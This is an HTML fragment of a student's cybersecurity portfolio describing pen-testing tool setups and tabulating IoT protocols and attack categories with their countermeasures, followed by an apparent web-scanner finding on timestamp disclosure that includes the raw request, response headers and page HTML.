HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal25" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S7</h2> <p class="item-intro text-muted">My personal pen-testing toolboxes</p> <p>Like every other profession good tools make a world of difference on the quality and efficiency of the end product. This isn't any different with cyber security. Good tools can improve results providing you with more information and helping with getting to the results faster.</p> <h3>On the road</h3> <a href="img/portfolio/minor/red/kalilinux.jpg"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/kalilinux.jpg" alt=""></a> <p>On the road when I'm on my laptop I like to use Kali Linux. It's just convenient that it comes pre-loaded with all the tools you need, and it runs fairly lightweight on older laptops. The "kali-undercover" command is also a fun little gimmick that changes your Kali desktop to a Windows clone which for a random passer by looks just like a regular Windows machine. Making it incognito to use Kali whenever you're in a public space and want to keep a low profile.</p> <h3>At home</h3> <a href="img/portfolio/minor/red/parrotos.jpg"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/parrotos.jpg" alt=""></a> <p>At home on my main desktop PC I recently switched to natively running ParrotOS. This was because I liked to try something new and the reviews were good. It comes pre-loaded with the same tools as kali and a few extra tools like diverting all traffic trough tor making the machine even more anonymous. The user experience is a little better and just overall a good looking distro. This comes at a cost because it takes more resources to run. This isn't a problem on my PC because it's quite powerful and I don't have to think about battery life. Alongside ParrotOS I run a Windows VM in qemu with WinApps running on Linux which enables me to run any Windows application I want on Linux. I mostly use it for Microsoft Office products.</p> <h3>Cloud</h3> <a href="img/portfolio/minor/red/googlecloudconsole.PNG"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/googlecloudconsole.PNG" alt=""></a> <p>Google cloud console is an awesome way to always have a Linux machine at your disposal where ever you are. It's fully cloud based and free to use. So when you're in need of a Linux terminal and you have access to a browser you're set. The only downside is that the machine is volatile so when you shut it down it is gone. This requires you to always re-install tools and such. Luckily due to it running on Google cloud it is pretty fast. Just overall a good tool to know about.</p> <a href="img/portfolio/minor/red/guacamole.PNG"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/guacamole.PNG" alt=""></a> <p>Now Guacamole is kinda like Google cloud console, but it's self-hosted. It can turn any machine with a SSH server into a cloud based web terminal accessible from any browser where ever you are. It takes a little time and effort to set it up but it is worth it. All the benefits from Google cloud console but your data is hosted by you and it is saved. In my case I installed Kali Linux on a docker server and now I can access it whenever I need to it doesn't matter if I'm on Windows, Linux or even my phone.</p> <a href="img/portfolio/minor/red/guacamoleconsole.PNG"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/guacamoleconsole.PNG" alt=""></a> <h3>Windows</h3> <a href="img/portfolio/minor/red/wsl.jpg"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/wsl.jpg" alt=""></a> <p>Whenever I'm using Windows and need to do a quick little task that requires Linux I don't want to reboot and boot into Linux because it's a hassle. That's when I use WSL. WSL stands for Windows Subsystem for Linux and it works great. It's not everything for example network related stuff is not possible due to WSL not having direct access to the network card but for other simple stuff it works great. And if I need to do a quick little scan I can use the Windows version of NMap. And if I need a little more functionality I can always use the before mentioned Guacamole to have instant access to a fully functional Kali instance in my browser.</p> <ul class="list-inline"> <li>Date: September 2021</li> <li>Client: Fontys</li> <li>Category: Minor Red-teaming</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal26" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S7</h2> <p class="item-intro text-muted">Security of IOT protocols and technology</p> <p>Nowadays more and more people have their home filled with smart devices. Almost everything is smart in some way. Which creates new problems like security. These products weren't made with security in mind, on the contrary, they were made to be cheap and easy to use for people without IT knowledge.</p> <p>This causes IOT products to be, the most of the time, the weakest link in someones network. But IOT is here to stay and it is improving fast so let's take a look at some common security protocols.</p> <table> <tr> <th>Protocol</th> <th>Feature</th> <th>TCP/UDP</th> <th>Security</th> </tr> <tr> <td>LOWPAN</td> <td>WPANs to maintain an IPv6 network</td> <td>TCP</td> <td>SSL</td> </tr> <tr> <td>MQTT</td> <td>To utilize the publish/subscribe pattern to provide transition flexibility and simplicity of implementation </td> <td>TCP</td> <td>SSL</td> </tr> <tr> <td>AMQP</td> <td>To provide publish-subscribe and point-to point communication</td> <td>TCP</td> <td>SSL</td> </tr> <tr> <td>CoAP</td> <td>To connect resource-constrained devices in a secure and reliable way</td> <td>UDP</td> <td>DTLS</td> </tr> <tr> <td>XMPP</td> <td>To transfer instant messaging (IM) standard that is used for multi-party chatting, voice and video calling and telepresence </td> <td>TCP</td> <td>SSL</td> </tr> <tr> <td>DSS</td> <td>To enable scalable, real-time, dependable, high-performance and interoperable data exchanges using a publish–subscribe pattern </td> <td>TCP/UDP</td> <td>SSL</td> </tr> </table> <p>To show the security flaws in IOT devices</p> <table> <thead> <tr class="rowsep-1 valign-top"> <th scope="col">Layers</th> <th scope="col">Attacks</th> <th scope="col">Issues</th> <th scope="col">Control Measures</th> </tr> </thead> <tbody> <tr class="valign-top"> <td class="align-left" rowspan="6">Perception</td> <td class="align-left">Hardware Tempering</td> <td class="align-left">Data Leakage (Keys, Routing Tables, Etc)</td> <td class="align-left">Secure Physical Design</td> </tr> <tr class="valign-top"> <td class="align-left">Fake Node Injection</td> <td class="align-left">Fake Data Manipulation</td> <td class="align-left">Secure Booting</td> </tr> <tr class="valign-top"> <td class="align-left">Malicious Code Injection</td> <td class="align-left">Halt Transmission</td> <td class="align-left">Intrusion Detection Technology (IDT)</td> </tr> <tr class="valign-top"> <td class="align-left">Sleep Denial Attack</td> <td class="align-left">Node Shutdown</td> <td class="align-left">Authentication</td> </tr> <tr class="valign-top"> <td class="align-left">WSN Node Jamming</td> <td class="align-left">Jam Node Communication</td> <td class="align-left">IPSec Security Channel</td> </tr> <tr class="valign-top"> <td class="align-left">RF Interference Of RFID</td> <td class="align-left">Distortion In Node Communication</td> <td class="align-left">Authentication</td> </tr> <tr class="valign-top"> <td class="align-left" rowspan="12">Network</td> <td class="align-left">Traffic Analysis Attacks</td> <td class="align-left">Data Leakage (About Network)</td> <td class="align-left">Routing Security</td> </tr> <tr class="valign-top"> <td class="align-left">RFID Spoofing</td> <td class="align-left">Intrusion In Network Data Manipulation</td> <td class="align-left">GPS Location System</td> </tr> <tr class="valign-top"> <td class="align-left">RFID Unauthorized Access</td> <td class="align-left">Node Data Can Be Modified (Read, Write & Delete)</td> <td class="align-left">Network Authentication</td> </tr> <tr class="valign-top"> <td class="align-left">Sinkhole Attack</td> <td class="align-left">Data Leakage (Data Of The Nodes)</td> <td class="align-left">Security Aware Ad Hoc Routing</td> </tr> <tr class="valign-top"> <td class="align-left">Man In The Middle Attack</td> <td class="align-left">Data Privacy Violation</td> <td class="align-left">Point-To-Point Encryption</td> </tr> <tr class="valign-top"> <td class="align-left">Routing Information Attack</td> <td class="align-left">Routing Loops (Network Destruction)</td> <td class="align-left">Encrypting Routing Tables</td> </tr> <tr class="valign-top"> <td class="align-left">Application Security</td> <td class="align-left">Privacy Violation</td> <td class="align-left">Web Application Scanner</td> </tr> <tr class="valign-top"> <td class="align-left">Data Security</td> <td class="align-left">Data Leakage (User Data On Cloud)</td> <td class="align-left">Homomorphic Encryption</td> </tr> <tr class="valign-top"> <td class="align-left">Underlying Infrastructure Security</td> <td class="align-left">Service Hijacking</td> <td class="align-left">Fragmentation Redundancy Scattering</td> </tr> <tr class="valign-top"> <td class="align-left">Third-Party Relationships</td> <td class="align-left">Data Leakage (User Data On Cloud)</td> <td class="align-left">Encryption</td> </tr> <tr class="valign-top"> <td class="align-left">Shared Resources</td> <td class="align-left">Resources Destruction</td> <td class="align-left">Hyper Safe</td> </tr> <tr class="valign-top"> <td class="align-left">Virtualization Threats</td> <td class="align-left">Resources Theft</td> <td class="align-left">Hyper Safe</td> </tr> <tr class="valign-top"> <td class="align-left" rowspan="6">Application</td> <td class="align-left">Phishing Attacks</td> <td class="align-left">Data Leakage (User Credentials Data)</td> <td class="align-left">Biometrics Authentication</td> </tr> <tr class="valign-top"> <td class="align-left">Virus, Worms, Trojan Horse, Spyware</td> <td class="align-left">Resource Destruction & Hijacking</td> <td class="align-left">Protective Software</td> </tr> <tr class="valign-top"> <td class="align-left">Malicious Scripts</td> <td class="align-left">Hijacking</td> <td class="align-left">Firewalls</td> </tr> <tr class="valign-top"> <td class="align-left">Denial Of Service</td> <td class="align-left">Resource Destruction</td> <td class="align-left">Access Control Lists</td> </tr> <tr class="valign-top"> <td class="align-left">Data Protection And Recovery</td> <td class="align-left">Data Loss & Catastrophic Damage</td> <td class="align-left">Cryptographic Hash Functions</td> </tr> <tr class="valign-top"> <td class="align-left">Software Vulnerabilities</td> <td class="align-left">Buffer Over Flow</td> <td class="align-left">Awareness Of Security</td> </tr> </tbody> </table> <a href="https://www.sciencedirect.com/science/article/pii/S108480452030237X#sec3">Source</a> <p>As seen in this article there are a lot of different vulnerabilities in IOT devices. And not all of them can be solved with just a good security protocol.</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: November 2021</li> <li>Client: Fontys</li> <li>Category: Minor Red-teaming</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal27" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal28" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal29" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal30" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal31" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal23" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal33" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal34" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal35" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal36" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal37" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal38" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal39" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal40" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <script data-cfasync="false" src="/cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js"></script><script src="vendor/jquery/jquery.min.js"></script> <script src="vendor/bootstrap/js/bootstrap.bundle.min.js"></script> <script src="vendor/jquery-easing/jquery.easing.min.js"></script> <script src="js/jqBootstrapValidation.js"></script> <script src="js/contact_me.js"></script> <script src="js/agency.min.js"></script> <script src="https://cdn.jsdelivr.net/gh/google/code-prettify@master/loader/run_prettify.js"></script> </body> </html>Evidence 083845791Solution Manually confirm that the timestamp data is not sensitive, and that the data cannot be aggregated to disclose exploitable patterns.
GET https://beekmans.dev/
Alert tags Alert description A timestamp was disclosed by the application/web server - Unix
Other info 166584919, which evaluates to: 1975-04-13 02:35:19
Request Request line and header section (224 bytes)
GET https://beekmans.dev/ HTTP/1.1 Host: beekmans.dev User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0 Pragma: no-cache Cache-Control: no-cache Referer: https://beekmans.devRequest body (0 bytes)
Response Status line and header section (1039 bytes)
HTTP/1.1 200 OK Date: Mon, 06 Dec 2021 09:55:13 GMT Content-Type: text/html; charset=UTF-8 Connection: keep-alive vary: Accept-Encoding content-security-policy: default-src 'self' http: https: data: blob: 'unsafe-inline' x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff referrer-policy: no-referrer-when-downgrade strict-transport-security: max-age=31536000; includeSubDomains; preload CF-Cache-Status: DYNAMIC Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=O9CfHQgObVNEaGCeR54qKKwytECMmlM5H0bXWDqJpVGo4vNUT18M2ld9NoeIDxTsPe1bzHv%2F9eh3xB7p6KNQNXYdikH5v2vQoVZ4Lqr2%2BgmRM8bXQ1W95L9VnzmijHE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6b94a326098f0c09-AMS alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Response body (178339 bytes)
<!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content=""> <meta name="author" content=""> <title>Cyber portfolio</title> <link href="vendor/bootstrap/css/bootstrap.min.css" rel="stylesheet"> <link href="vendor/fontawesome-free/css/all.min.css" rel="stylesheet" type="text/css"> <link href="https://fonts.googleapis.com/css?family=Montserrat:400,700" rel="stylesheet" type="text/css"> <link href='https://fonts.googleapis.com/css?family=Kaushan+Script' rel='stylesheet' type='text/css'> <link href='https://fonts.googleapis.com/css?family=Droid+Serif:400,700,400italic,700italic' rel='stylesheet' type='text/css'> <link href='https://fonts.googleapis.com/css?family=Roboto+Slab:400,100,300,700' rel='stylesheet' type='text/css'> <link href="css/agency.min.css" rel="stylesheet"> </head> <body id="page-top"> <nav class="navbar navbar-expand-lg navbar-dark fixed-top" id="mainNav"> <div class="container"> <a class="navbar-brand js-scroll-trigger" href="#page-top">Cyber security</a> <button class="navbar-toggler navbar-toggler-right" type="button" data-toggle="collapse" data-target="#navbarResponsive" aria-controls="navbarResponsive" aria-expanded="false" aria-label="Toggle navigation"> Menu <i class="fas fa-bars"></i> </button> <div class="collapse navbar-collapse" id="navbarResponsive"> <ul class="navbar-nav text-uppercase ml-auto"> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#services">Services</a> </li> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#portfolio">Portfolio</a> </li> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#about">About</a> </li> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#team">Team</a> </li> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#contact">Contact</a> </li> </ul> </div> </div> </nav> <header class="masthead"> <div class="container"> <div class="intro-text"> <div class="intro-lead-in">Welcome To My Portfolio!</div> <div class="intro-heading text-uppercase">It's Nice To Meet You</div> <a class="btn btn-primary btn-xl text-uppercase js-scroll-trigger" href="#services">Tell Me More</a> </div> </div> </header> <section id="services"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <h2 class="section-heading text-uppercase">Introduction</h2> <h3 class="section-subheading text-muted">My project.</h3> </div> </div> <div class="row text-center"> <div class="col-md-4"> <span class="fa-stack fa-4x"> <i class="fas fa-circle fa-stack-2x text-primary"></i> <i class="fas fa-shopping-cart fa-stack-1x fa-inverse"></i> </span> <h4 class="service-heading">Environment</h4> <p class="text-muted">I'm using my own Hyper visor (Microsoft's Hyper-V) on a private server in my home. I can connect via a VPN that's also running on this server to my home network to remotely manage the server and manage and deploy VM's. The server is an old DELL T310 with a Xeon x3440, 24GB ddr3 registered ecc 1333mhz memory and all VM's are installed on a Crucial MX500 ssd. The server is part of the home network just like every other computer in my home.</p> </div> <div class="col-md-4"> <span class="fa-stack fa-4x"> <i class="fas fa-circle fa-stack-2x text-primary"></i> <i class="fas fa-laptop fa-stack-1x fa-inverse"></i> </span> <h4 class="service-heading">Context</h4> <p class="text-muted">The network I'm building has as focus a webhosting company with some onsite employee's maybe a place for guests and some webservers hosting different websites.</p> </div> <div class="col-md-4"> <span class="fa-stack fa-4x"> <i class="fas fa-circle fa-stack-2x text-primary"></i> <i class="fas fa-lock fa-stack-1x fa-inverse"></i> </span> <h4 class="service-heading">Security</h4> <p class="text-muted">The network is secured by separating the webservers from the employees and guests on their own VLAN. The network is protected by a pfsense router running custom firewalls for every interface and running Surricata to identify and block possible threats.</p> </div> </div> </div> </section> <section class="bg-light" id="portfolio"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <h2 class="section-heading text-uppercase">Portfolio</h2> <h3 class="section-subheading text-muted">Cyber security.</h3> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h4 class="section-subheading text-muted">Blue teaming semester</h4> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal1"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/01-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Self assessment week 1</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal2"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid portfolio-image" src="img/portfolio/blue/02-thumbnail.gif" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Network diagram V1</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal3"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/03-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Network diagram V2</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal4"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/04-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Secure connections</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal5"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/05-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">IDS/IPS</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal6"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/06-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Information Security and Risk Analysis</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 